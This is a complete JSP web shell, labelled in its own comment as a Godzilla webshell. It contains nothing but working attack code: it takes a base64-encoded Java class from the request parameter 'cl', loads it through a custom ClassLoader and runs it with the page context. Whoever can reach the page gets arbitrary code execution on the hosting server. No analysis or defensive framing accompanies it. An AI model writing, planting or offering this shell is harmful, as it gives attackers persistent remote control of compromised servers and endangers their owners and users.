<%! // Godzilla webshell class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { return sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(str); } catch (Exception e) { return java.util.Base64.getDecoder().decode(str); } } %> <% String cls = request.getParameter("cl"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>